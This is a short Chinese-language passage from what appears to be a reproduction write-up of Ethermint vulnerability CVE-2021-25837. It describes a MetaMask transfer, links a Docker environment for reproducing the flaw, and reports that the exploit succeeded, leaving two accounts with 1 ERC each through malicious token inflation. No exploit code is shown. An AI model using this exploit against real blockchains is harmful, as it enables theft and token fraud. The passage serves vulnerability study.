    }
  },
  "timestamp": "2021-02-19T22:45:12Z"
}
  • B使用 MetaMask 正常转账给C 1ERC image.png

tips: 也可以使用我整理好的 Docker 环境进行复现 https://github.com/iczc/Ethermint-CVE-2021-25837

最终效果

利用成功,A C均有了 1ERC,实现了恶意代币增发 image.png